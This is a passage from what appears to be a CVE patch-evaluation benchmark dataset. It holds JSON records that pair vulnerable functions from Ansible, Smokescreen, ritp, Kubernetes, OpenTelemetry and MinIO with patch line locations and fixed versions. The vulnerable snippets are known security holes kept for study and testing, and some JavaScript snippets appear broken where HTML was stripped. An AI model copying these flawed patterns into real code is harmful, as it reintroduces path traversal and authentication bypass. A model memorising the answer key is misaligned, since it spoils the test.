                "snippet": "    def do_template(self, data, preserve_trailing_newlines=True, escape_backslashes=True, fail_on_undefined=None, overrides=None, disable_lookups=False):\n        if USE_JINJA2_NATIVE and not isinstance(data, string_types):\n            return data\n\n        # For preserving the number of input newlines in the output (used\n        # later in this method)\n        data_newlines = _count_newlines_from_end(data)\n\n        if fail_on_undefined is None:\n            fail_on_undefined = self._fail_on_undefined_errors\n\n        try:\n            # allows template header overrides to change jinja2 options.\n            if overrides is None:\n                myenv = self.environment.overlay()\n            else:\n                myenv = self.environment.overlay(overrides)\n\n            # Get jinja env overrides from template\n            if hasattr(data, 'startswith') and data.startswith(JINJA2_OVERRIDE):\n                eol = data.find('\\n')\n                line = data[len(JINJA2_OVERRIDE):eol]\n                data = data[eol + 1:]\n                for pair in line.split(','):\n                    (key, val) = pair.split(':')\n                    key = key.strip()\n                    setattr(myenv, key, ast.literal_eval(val.strip()))\n\n            # Adds Ansible custom filters and tests\n            myenv.filters.update(self._get_filters())\n            for k in myenv.filters:\n                if not getattr(myenv.filters[k], '__UNROLLED__', False):\n                    myenv.filters[k] = _unroll_iterator(myenv.filters[k])\n            myenv.tests.update(self._get_tests())\n\n            if escape_backslashes:\n                # Allow users to specify backslashes in playbooks as \"\\\\\" instead of as \"\\\\\\\\\".\n                data = _escape_backslashes(data, myenv)\n\n            try:\n                t = myenv.from_string(data)\n            except TemplateSyntaxError as e:\n                raise AnsibleError(\"template error while templating string: %s. String: %s\" % (to_native(e), to_native(data)))\n            except Exception as e:\n                if 'recursion' in to_native(e):\n                    raise AnsibleError(\"recursive loop detected in template string: %s\" % to_native(data))\n                else:\n                    return data\n\n            if disable_lookups:\n                t.globals['query'] = t.globals['q'] = t.globals['lookup'] = self._fail_lookup\n\n            jvars = AnsibleJ2Vars(self, t.globals)\n\n            self.cur_context = new_context = t.new_context(jvars, shared=True)\n            rf = t.root_render_func(new_context)\n\n            try:\n                res = j2_concat(rf)\n                unsafe = getattr(new_context, 'unsafe', False)\n                if unsafe:\n                    res = wrap_var(res)\n            except TypeError as te:\n                if 'AnsibleUndefined' in to_native(te):\n                    errmsg = \"Unable to look up a name or access an attribute in template string (%s).\\n\" % to_native(data)\n                    errmsg += \"Make sure your variable name does not contain invalid characters like '-': %s\" % to_native(te)\n                    raise AnsibleUndefinedVariable(errmsg)\n                else:\n                    display.debug(\"failing because of a type error, template data is: %s\" % to_text(data))\n                    raise AnsibleError(\"Unexpected templating type error occurred on (%s): %s\" % (to_native(data), to_native(te)))\n\n            if USE_JINJA2_NATIVE and not isinstance(res, string_types):\n                return res\n\n            if preserve_trailing_newlines:\n                # The low level calls above do not preserve the newline\n                # characters at the end of the input data, so we use the\n                # calculate the difference in newlines and append them\n                # to the resulting output for parity\n                #\n                # jinja2 added a keep_trailing_newline option in 2.7 when\n                # creating an Environment.  That would let us make this code\n                # better (remove a single newline if\n                # preserve_trailing_newlines is False).  Once we can depend on\n                # that version being present, modify our code to set that when\n                # initializing self.environment and remove a single trailing\n                # newline here if preserve_newlines is False.\n                res_newlines = _count_newlines_from_end(res)\n                if data_newlines > res_newlines:\n                    res += self.environment.newline_sequence * (data_newlines - res_newlines)\n                    if unsafe:\n                        res = wrap_var(res)\n            return res\n        except (UndefinedError, AnsibleUndefinedVariable) as e:\n            if fail_on_undefined:\n                raise AnsibleUndefinedVariable(e)\n            else:\n                display.debug(\"Ignoring undefined failure: %s\" % to_text(e))\n                return data"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-3583"
    },
    {
        "cve_id": "CVE-2020-10691",
        "cve_description": "An archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running ansible-galaxy collection install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/ansible/ansible",
        "patch_url": [
            "https://github.com/ansible/ansible/commit/b2551bb6943eec078066aa3a923e0bb3ed85abe8"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_25_1",
                "commit": "cef6296",
                "file_path": "lib/ansible/galaxy/collection.py",
                "start_line": 148,
                "end_line": 188,
                "snippet": "    def install(self, path, b_temp_path):\n        if self.skip:\n            display.display(\"Skipping '%s' as it is already installed\" % to_text(self))\n            return\n\n        # Install if it is not\n        collection_path = os.path.join(path, self.namespace, self.name)\n        b_collection_path = to_bytes(collection_path, errors='surrogate_or_strict')\n        display.display(\"Installing '%s:%s' to '%s'\" % (to_text(self), self.latest_version, collection_path))\n\n        if self.b_path is None:\n            download_url = self._metadata.download_url\n            artifact_hash = self._metadata.artifact_sha256\n            headers = {}\n            self.api._add_auth_token(headers, download_url, required=False)\n\n            self.b_path = _download_file(download_url, b_temp_path, artifact_hash, self.api.validate_certs,\n                                         headers=headers)\n\n        if os.path.exists(b_collection_path):\n            shutil.rmtree(b_collection_path)\n        os.makedirs(b_collection_path)\n\n        with tarfile.open(self.b_path, mode='r') as collection_tar:\n            files_member_obj = collection_tar.getmember('FILES.json')\n            with _tarfile_extract(collection_tar, files_member_obj) as files_obj:\n                files = json.loads(to_text(files_obj.read(), errors='surrogate_or_strict'))\n\n            _extract_tar_file(collection_tar, 'MANIFEST.json', b_collection_path, b_temp_path)\n            _extract_tar_file(collection_tar, 'FILES.json', b_collection_path, b_temp_path)\n\n            for file_info in files['files']:\n                file_name = file_info['name']\n                if file_name == '.':\n                    continue\n\n                if file_info['ftype'] == 'file':\n                    _extract_tar_file(collection_tar, file_name, b_collection_path, b_temp_path,\n                                      expected_hash=file_info['chksum_sha256'])\n                else:\n                    os.makedirs(os.path.join(b_collection_path, to_bytes(file_name, errors='surrogate_or_strict')))",
                "vul_localization": [
                    {
                        "patch_lines": [
                            24,
                            25,
                            26,
                            27,
                            28,
                            29,
                            30,
                            31,
                            32,
                            33,
                            34,
                            35,
                            36,
                            37,
                            38,
                            39,
                            40,
                            41
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_25_2",
                "commit": "cef6296",
                "file_path": "lib/ansible/galaxy/collection.py",
                "start_line": 903,
                "end_line": 942,
                "snippet": "def _extract_tar_file(tar, filename, b_dest, b_temp_path, expected_hash=None):\n    n_filename = to_native(filename, errors='surrogate_or_strict')\n    try:\n        member = tar.getmember(n_filename)\n    except KeyError:\n        raise AnsibleError(\"Collection tar at '%s' does not contain the expected file '%s'.\" % (to_native(tar.name),\n                                                                                                n_filename))\n\n    with tempfile.NamedTemporaryFile(dir=b_temp_path, delete=False) as tmpfile_obj:\n        bufsize = 65536\n        sha256_digest = sha256()\n        with _tarfile_extract(tar, member) as tar_obj:\n            data = tar_obj.read(bufsize)\n            while data:\n                tmpfile_obj.write(data)\n                tmpfile_obj.flush()\n                sha256_digest.update(data)\n                data = tar_obj.read(bufsize)\n\n        actual_hash = sha256_digest.hexdigest()\n\n        if expected_hash and actual_hash != expected_hash:\n            raise AnsibleError(\"Checksum mismatch for '%s' inside collection at '%s'\"\n                               % (n_filename, to_native(tar.name)))\n\n        b_dest_filepath = os.path.join(b_dest, to_bytes(filename, errors='surrogate_or_strict'))\n        b_parent_dir = os.path.split(b_dest_filepath)[0]\n        if not os.path.exists(b_parent_dir):\n            # Seems like Galaxy does not validate if all file entries have a corresponding dir ftype entry. This check\n            # makes sure we create the parent directory even if it wasn't set in the metadata.\n            os.makedirs(b_parent_dir, mode=0o0755)\n\n        shutil.move(to_bytes(tmpfile_obj.name, errors='surrogate_or_strict'), b_dest_filepath)\n\n        # Default to rw-r--r-- and only add execute if the tar file has execute.\n        new_mode = 0o644\n        if stat.S_IMODE(member.mode) & stat.S_IXUSR:\n            new_mode |= 0o0111\n\n        os.chmod(b_dest_filepath, new_mode)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            26,
                            27
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_25_1",
                "commit": "b2551bb6943eec078066aa3a923e0bb3ed85abe8",
                "file_path": "lib/ansible/galaxy/collection.py",
                "start_line": 148,
                "end_line": 198,
                "snippet": "    def install(self, path, b_temp_path):\n        if self.skip:\n            display.display(\"Skipping '%s' as it is already installed\" % to_text(self))\n            return\n\n        # Install if it is not\n        collection_path = os.path.join(path, self.namespace, self.name)\n        b_collection_path = to_bytes(collection_path, errors='surrogate_or_strict')\n        display.display(\"Installing '%s:%s' to '%s'\" % (to_text(self), self.latest_version, collection_path))\n\n        if self.b_path is None:\n            download_url = self._metadata.download_url\n            artifact_hash = self._metadata.artifact_sha256\n            headers = {}\n            self.api._add_auth_token(headers, download_url, required=False)\n\n            self.b_path = _download_file(download_url, b_temp_path, artifact_hash, self.api.validate_certs,\n                                         headers=headers)\n\n        if os.path.exists(b_collection_path):\n            shutil.rmtree(b_collection_path)\n        os.makedirs(b_collection_path)\n\n        try:\n            with tarfile.open(self.b_path, mode='r') as collection_tar:\n                files_member_obj = collection_tar.getmember('FILES.json')\n                with _tarfile_extract(collection_tar, files_member_obj) as files_obj:\n                    files = json.loads(to_text(files_obj.read(), errors='surrogate_or_strict'))\n\n                _extract_tar_file(collection_tar, 'MANIFEST.json', b_collection_path, b_temp_path)\n                _extract_tar_file(collection_tar, 'FILES.json', b_collection_path, b_temp_path)\n\n                for file_info in files['files']:\n                    file_name = file_info['name']\n                    if file_name == '.':\n                        continue\n\n                    if file_info['ftype'] == 'file':\n                        _extract_tar_file(collection_tar, file_name, b_collection_path, b_temp_path,\n                                          expected_hash=file_info['chksum_sha256'])\n                    else:\n                        os.makedirs(os.path.join(b_collection_path, to_bytes(file_name, errors='surrogate_or_strict')))\n        except Exception:\n            # Ensure we don't leave the dir behind in case of a failure.\n            shutil.rmtree(b_collection_path)\n\n            b_namespace_path = os.path.dirname(b_collection_path)\n            if not os.listdir(b_namespace_path):\n                os.rmdir(b_namespace_path)\n\n            raise"
            },
            {
                "id": "fix_py_25_2",
                "commit": "b2551bb6943eec078066aa3a923e0bb3ed85abe8",
                "file_path": "lib/ansible/galaxy/collection.py",
                "start_line": 913,
                "end_line": 956,
                "snippet": "def _extract_tar_file(tar, filename, b_dest, b_temp_path, expected_hash=None):\n    n_filename = to_native(filename, errors='surrogate_or_strict')\n    try:\n        member = tar.getmember(n_filename)\n    except KeyError:\n        raise AnsibleError(\"Collection tar at '%s' does not contain the expected file '%s'.\" % (to_native(tar.name),\n                                                                                                n_filename))\n\n    with tempfile.NamedTemporaryFile(dir=b_temp_path, delete=False) as tmpfile_obj:\n        bufsize = 65536\n        sha256_digest = sha256()\n        with _tarfile_extract(tar, member) as tar_obj:\n            data = tar_obj.read(bufsize)\n            while data:\n                tmpfile_obj.write(data)\n                tmpfile_obj.flush()\n                sha256_digest.update(data)\n                data = tar_obj.read(bufsize)\n\n        actual_hash = sha256_digest.hexdigest()\n\n        if expected_hash and actual_hash != expected_hash:\n            raise AnsibleError(\"Checksum mismatch for '%s' inside collection at '%s'\"\n                               % (n_filename, to_native(tar.name)))\n\n        b_dest_filepath = os.path.abspath(os.path.join(b_dest, to_bytes(filename, errors='surrogate_or_strict')))\n        b_parent_dir = os.path.dirname(b_dest_filepath)\n        if b_parent_dir != b_dest and not b_parent_dir.startswith(b_dest + to_bytes(os.path.sep)):\n            raise AnsibleError(\"Cannot extract tar entry '%s' as it will be placed outside the collection directory\"\n                               % to_native(filename, errors='surrogate_or_strict'))\n\n        if not os.path.exists(b_parent_dir):\n            # Seems like Galaxy does not validate if all file entries have a corresponding dir ftype entry. This check\n            # makes sure we create the parent directory even if it wasn't set in the metadata.\n            os.makedirs(b_parent_dir, mode=0o0755)\n\n        shutil.move(to_bytes(tmpfile_obj.name, errors='surrogate_or_strict'), b_dest_filepath)\n\n        # Default to rw-r--r-- and only add execute if the tar file has execute.\n        new_mode = 0o644\n        if stat.S_IMODE(member.mode) & stat.S_IXUSR:\n            new_mode |= 0o0111\n\n        os.chmod(b_dest_filepath, new_mode)"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-10691"
    },
    {
        "cve_id": "CVE-2022-24825",
        "cve_description": "Smokescreen is a simple HTTP proxy that fogs over naughty URLs. The primary use case for Smokescreen is to prevent server-side request forgery (SSRF) attacks in which external attackers leverage the behavior of applications to connect to or scan internal infrastructure. Smokescreen also offers an option to deny access to additional (e.g., external) URLs by way of a deny list. There was an issue in Smokescreen that made it possible to bypass the deny list feature by appending a dot to the end of user-supplied URLs, or by providing input in a different letter case. Recommended to upgrade Smokescreen to version 0.0.3 or later.",
        "cwe_info": {
            "CWE-918": {
                "name": "Server-Side Request Forgery (SSRF)",
                "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."
            }
        },
        "repo": "https://github.com/stripe/smokescreen",
        "patch_url": [
            "https://github.com/stripe/smokescreen/commit/fafb6ae48c6c40aa011d87b61306abc48db8797b"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_41_1",
                "commit": "37438e8",
                "file_path": "pkg/smokescreen/acl/v1/acl.go",
                "start_line": 178,
                "end_line": 194,
                "snippet": "func (acl *ACL) ValidateDomains(domains []string) error {\n\tfor _, d := range domains {\n\t\tif d == \"\" {\n\t\t\treturn fmt.Errorf(\"glob cannot be empty\")\n\t\t}\n\n\t\tif !strings.HasPrefix(d, \"*.\") && strings.HasPrefix(d, \"*\") {\n\t\t\treturn fmt.Errorf(\"%v: domain glob must represent a full prefix (sub)domain\", d)\n\t\t}\n\n\t\tdomainToCheck := strings.TrimPrefix(d, \"*\")\n\t\tif strings.Contains(domainToCheck, \"*\") {\n\t\t\treturn fmt.Errorf(\"%v: domain globs are only supported as prefix\", d)\n\t\t}\n\t}\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1,
                            2,
                            3
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            7,
                            8
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            11
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            13
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_go_41_2",
                "commit": "37438e8",
                "file_path": "pkg/smokescreen/acl/v1/acl.go",
                "start_line": 224,
                "end_line": 234,
                "snippet": "func hostMatchesGlob(host string, domainGlob string) bool {\n\tif domainGlob != \"\" && domainGlob[0] == '*' {\n\t\tsuffix := domainGlob[1:]\n\t\tif strings.HasSuffix(host, suffix) {\n\t\t\treturn true\n\t\t}\n\t} else if domainGlob == host {\n\t\treturn true\n\t}\n\treturn false\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2,
                            3,
                            4
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            7
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_41_1",
                "commit": "fafb6ae",
                "file_path": "pkg/smokescreen/acl/v1/acl.go",
                "start_line": 178,
                "end_line": 198,
                "snippet": "func (acl *ACL) ValidateDomainGlobs(svc string, globs []string) error {\n\tfor _, glob := range globs {\n\t\tif glob == \"\" {\n\t\t\treturn fmt.Errorf(\"glob cannot be empty\")\n\t\t}\n\n\t\tif glob == \"*\" || glob == \"*.\" {\n\t\t\treturn fmt.Errorf(\"%v: %v: domain glob must not match everything\", svc, glob)\n\t\t}\n\n\t\tif !strings.HasPrefix(glob, \"*.\") && strings.HasPrefix(glob, \"*\") {\n\t\t\treturn fmt.Errorf(\"%v: %v: domain glob must represent a full prefix (sub)domain\", svc, glob)\n\t\t}\n\n\t\tdomainToCheck := strings.TrimPrefix(glob, \"*\")\n\t\tif strings.Contains(domainToCheck, \"*\") {\n\t\t\treturn fmt.Errorf(\"%v: %v: domain globs are only supported as prefix\", svc, glob)\n\t\t}\n\t}\n\treturn nil\n}"
            },
            {
                "id": "fix_go_41_2",
                "commit": "fafb6ae",
                "file_path": "pkg/smokescreen/acl/v1/acl.go",
                "start_line": 232,
                "end_line": 249,
                "snippet": "func hostMatchesGlob(host string, domainGlob string) bool {\n\tif host == \"\" {\n\t\treturn false\n\t}\n\n\th := strings.TrimRight(strings.ToLower(host), \".\")\n\tg := strings.TrimRight(strings.ToLower(domainGlob), \".\")\n\n\tif strings.HasPrefix(g, \"*.\") {\n\t\tsuffix := g[1:]\n\t\tif strings.HasSuffix(h, suffix) {\n\t\t\treturn true\n\t\t}\n\t} else if g == h {\n\t\treturn true\n\t}\n\treturn false\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-24825"
    },
    {
        "cve_id": "CVE-2017-16198",
        "cve_description": "ritp is a static web server. ritp is vulnerable to a directory traversal issue whereby an attacker can gain access to the file system by placing ../ in the URL. Access is restricted to files with a file extension, so files such as /etc/passwd are not accessible.",
        "cwe_info": {
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/hardog/ritp",
        "patch_url": [
            "https://github.com/hardog/ritp/commit/1eadc2746d0fb60d0050bad302b4081f802476e4"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_19_1",
                "commit": "d2ba4b9",
                "file_path": "index.js",
                "start_line": "22",
                "end_line": "76",
                "snippet": "var main = function(req, res) {\n        var reqUrl = req.url; \n        //\\u8bb0\\u5f55\\u8bf7\\u6c42\\u4fe1\\u606f\n        logger.http(req, res);\n        \n        //\\u4f7f\\u7528url\\u89e3\\u6790\\u6a21\\u5757\\u83b7\\u53d6url\\u4e2d\\u7684\\u8def\\u5f84\\u540d \n        var pathName = url.parse(reqUrl).pathname;\n\n        //\\u8865\\u5168\\u6587\\u4ef6\\u8def\\u5f84\n        if (path.extname(pathName) == \"\") {\n\n            if(!/\\/$/.test(pathName)){\n                pathName += '/';\n            }\n\n            pathName += argvs.getDefault();\n        }\n\n        //\\u4f7f\\u7528\\u8def\\u5f84\\u89e3\\u6790\\u6a21\\u5757,\\u7ec4\\u88c5\\u5b9e\\u9645\\u6587\\u4ef6\\u8def\\u5f84 \n        var filePath = path.join(argvs.getPath(), pathName);\n\n        //\\u5224\\u65ad\\u6587\\u4ef6\\u662f\\u5426\\u5b58\\u5728 \n        fs.exists(filePath, function(exists) {\n            try{\n                if (exists) {\n                    //\\u5728\\u8fd4\\u56de\\u5934\\u4e2d\\u5199\\u5165\\u5185\\u5bb9\\u7c7b\\u578b \n                    res.writeHead(200, {\n                        \"Content-Type\": mime.lookup(filePath)\n                    });\n\n                    //\\u521b\\u5efa\\u53ea\\u8bfb\\u6d41\\u7528\\u4e8e\\u8fd4\\u56de \n                    var stream = fs.createReadStream(filePath, {\n                        flags: \"r\",\n                        encoding: null\n                    });\n\n                    //\\u6307\\u5b9a\\u5982\\u679c\\u6d41\\u8bfb\\u53d6\\u9519\\u8bef,\\u8fd4\\u56de404\\u9519\\u8bef \n                    stream.on(\"error\", function() {\n                        res.writeHead(404);\n                        res.end('

500 the file [path=' + filePath +'] Read Error!

');\n });\n //\\u8fde\\u63a5\\u6587\\u4ef6\\u6d41\\u548chttp\\u8fd4\\u56de\\u6d41\\u7684\\u7ba1\\u9053,\\u7528\\u4e8e\\u8fd4\\u56de\\u5b9e\\u9645Web\\u5185\\u5bb9 \n stream.pipe(res);\n } else {\n //\\u8fd4\\u56de404\\u9519\\u8bef \n res.writeHead(404, {\n \"Content-Type\": \"text/html\"\n });\n res.end('

404 Not Found file [path=' + filePath + ']

');\n }\n }catch(e){\n logger.error('read file from [' + filePath + '] error!');\n }\n });\n }", "vul_localization": [ { "patch_lines": [ 2 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_19_1", "commit": "1eadc2746d0fb60d0050bad302b4081f802476e4", "file_path": "index.js", "start_line": 22, "end_line": 76, "snippet": "var main = function(req, res) {\n var reqUrl = req.url.replace(/(\\.\\.\\/?)/g, '');\n //\\u8bb0\\u5f55\\u8bf7\\u6c42\\u4fe1\\u606f\n logger.http(req, res);\n \n //\\u4f7f\\u7528url\\u89e3\\u6790\\u6a21\\u5757\\u83b7\\u53d6url\\u4e2d\\u7684\\u8def\\u5f84\\u540d \n var pathName = url.parse(reqUrl).pathname;\n\n //\\u8865\\u5168\\u6587\\u4ef6\\u8def\\u5f84\n if (path.extname(pathName) == \"\") {\n\n if(!/\\/$/.test(pathName)){\n pathName += '/';\n }\n\n pathName += argvs.getDefault();\n }\n\n //\\u4f7f\\u7528\\u8def\\u5f84\\u89e3\\u6790\\u6a21\\u5757,\\u7ec4\\u88c5\\u5b9e\\u9645\\u6587\\u4ef6\\u8def\\u5f84 \n var filePath = path.join(argvs.getPath(), pathName);\n\n //\\u5224\\u65ad\\u6587\\u4ef6\\u662f\\u5426\\u5b58\\u5728 \n fs.exists(filePath, function(exists) {\n try{\n if (exists) {\n //\\u5728\\u8fd4\\u56de\\u5934\\u4e2d\\u5199\\u5165\\u5185\\u5bb9\\u7c7b\\u578b \n res.writeHead(200, {\n \"Content-Type\": mime.lookup(filePath)\n });\n\n //\\u521b\\u5efa\\u53ea\\u8bfb\\u6d41\\u7528\\u4e8e\\u8fd4\\u56de \n var stream = fs.createReadStream(filePath, {\n flags: \"r\",\n encoding: null\n });\n\n //\\u6307\\u5b9a\\u5982\\u679c\\u6d41\\u8bfb\\u53d6\\u9519\\u8bef,\\u8fd4\\u56de404\\u9519\\u8bef \n stream.on(\"error\", function() {\n res.writeHead(404);\n res.end('

500 the file [path=' + filePath +'] Read Error!

');\n });\n //\\u8fde\\u63a5\\u6587\\u4ef6\\u6d41\\u548chttp\\u8fd4\\u56de\\u6d41\\u7684\\u7ba1\\u9053,\\u7528\\u4e8e\\u8fd4\\u56de\\u5b9e\\u9645Web\\u5185\\u5bb9 \n stream.pipe(res);\n } else {\n //\\u8fd4\\u56de404\\u9519\\u8bef \n res.writeHead(404, {\n \"Content-Type\": \"text/html\"\n });\n res.end('

404 Not Found file [path=' + filePath + ']

');\n }\n }catch(e){\n logger.error('read file from [' + filePath + '] error!');\n }\n });\n }" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2017-16198" }, { "cve_id": "CVE-2024-10220", "cve_description": "The kubelet gitRepo volume plugin processes pod-supplied GitRepoVolumeSource fields and invokes the external git binary while preparing the volume. A user who can create a pod with a gitRepo volume can control the repository, revision, and target directory values. If these values are not validated before git is executed, specially crafted option-like arguments or unsafe directory paths can be interpreted by git or can cause clone, checkout, or reset operations to run against paths outside the intended volume directory. This can lead to command execution or filesystem access on the node in the kubelet's execution context. The fix should treat all gitRepo fields as untrusted input, reject values that can be parsed as git options or make the checkout target escape the volume, and ensure any git operations that remain allowed are confined to the intended local volume directory while preserving normal benign gitRepo usage.", "cwe_info": { "CWE-73": { "name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations." }, "CWE-22": { "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory." } }, "repo": "https://github.com/kubernetes/kubernetes", "patch_url": [ "https://github.com/kubernetes/kubernetes/commit/1ab06efe92d8e898ca1931471c9533ce94aba29b" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_1_1", "commit": "8dbeaa5", "file_path": "pkg/volume/git_repo/git_repo.go", "start_line": 254, "end_line": 265, "snippet": "func validateVolume(src *v1.GitRepoVolumeSource) error {\n\tif err := validateNonFlagArgument(src.Repository, \"repository\"); err != nil {\n\t\treturn err\n\t}\n\tif err := validateNonFlagArgument(src.Revision, \"revision\"); err != nil {\n\t\treturn err\n\t}\n\tif err := validateNonFlagArgument(src.Directory, \"directory\"); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "vul_localization": [ { "patch_lines": [ 10 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_1_1", "commit": "1ab06ef", "file_path": "pkg/volume/git_repo/git_repo.go", "start_line": 254, "end_line": 271, "snippet": "func validateVolume(src *v1.GitRepoVolumeSource) error {\n\tif err := validateNonFlagArgument(src.Repository, \"repository\"); err != nil {\n\t\treturn err\n\t}\n\tif err := validateNonFlagArgument(src.Revision, \"revision\"); err != nil {\n\t\treturn err\n\t}\n\tif err := validateNonFlagArgument(src.Directory, \"directory\"); err != nil {\n\t\treturn err\n\t}\n\tif (src.Revision != \"\") && (src.Directory != \"\") {\n\t\tcleanedDir := filepath.Clean(src.Directory)\n\t\tif strings.Contains(cleanedDir, \"/\") || (strings.Contains(cleanedDir, \"\\\\\")) {\n\t\t\treturn fmt.Errorf(\"%q is not a valid directory, it must not contain a directory separator\", src.Directory)\n\t\t}\n\t}\n\treturn nil\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-10220" }, { "cve_id": "CVE-2024-45043", "cve_description": "The OpenTelemetry Collector module AWS firehose receiver is for ingesting AWS Kinesis Data Firehose delivery stream messages and parsing the records received based on the configured record type. `awsfirehosereceiver` allows unauthenticated remote requests, even when configured to require a key. OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header `X-Amz-Firehose-Access-Key` with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it **still accepts incoming requests with no key**. Only OpenTelemetry Collector users configured with the “alpha” `awsfirehosereceiver` module are affected. This module was added in version v0.49.0 of the “Contrib” distribution (or may be included in custom builds). There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It’s likely these endpoints will be exposed to the public internet, as Firehose does not support private HTTP endpoints. A fix was introduced in PR #34847 and released with v0.108.0. All users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": { "CWE-285": { "name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action." }, "CWE-250": { "name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses." }, "CWE-269": { "name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor." } }, "repo": "https://github.com/open-telemetry/opentelemetry-collector-contrib", "patch_url": [ "https://github.com/open-telemetry/opentelemetry-collector-contrib/commit/371bf6afbd7cfa3253fa1674f5444064e86ef0ac" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_2_1", "commit": "234eadd", "file_path": "receiver/awsfirehosereceiver/receiver.go", "start_line": 235, "end_line": 240, "snippet": "func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {\n\tif accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != \"\" && accessKey != string(fmr.config.AccessKey) {\n\t\treturn http.StatusUnauthorized, errInvalidAccessKey\n\t}\n\treturn http.StatusAccepted, nil\n}", "vul_localization": [ { "patch_lines": [ 2, 3 ], "tag": "modify" }, { "patch_lines": [ 5 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_2_1", "commit": "371bf6a", "file_path": "receiver/awsfirehosereceiver/receiver.go", "start_line": 235, "end_line": 244, "snippet": "func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {\n\tif string(fmr.config.AccessKey) == \"\" {\n\t\t// No access key is configured - accept all requests.\n\t\treturn http.StatusAccepted, nil\n\t}\n\tif accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {\n\t\treturn http.StatusAccepted, nil\n\t}\n\treturn http.StatusUnauthorized, errInvalidAccessKey\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-45043" }, { "cve_id": "CVE-2024-24747", "cve_description": "MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.", "cwe_info": { "CWE-285": { "name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action." }, "CWE-250": { "name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses." }, "CWE-269": { "name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor." } }, "repo": "https://github.com/minio/minio", "patch_url": [ "https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_73_1", "commit": "4cd777a", "file_path": "cmd/admin-handlers-users.go", "start_line": "749", "end_line": "861", "snippet": "func (a adminAPIHandlers) UpdateServiceAccount(w http.ResponseWriter, r *http.Request) {\n\tctx := r.Context()\n\n\t// Get current object layer instance.\n\tobjectAPI := newObjectLayerFn()\n\tif objectAPI == nil || globalNotificationSys == nil 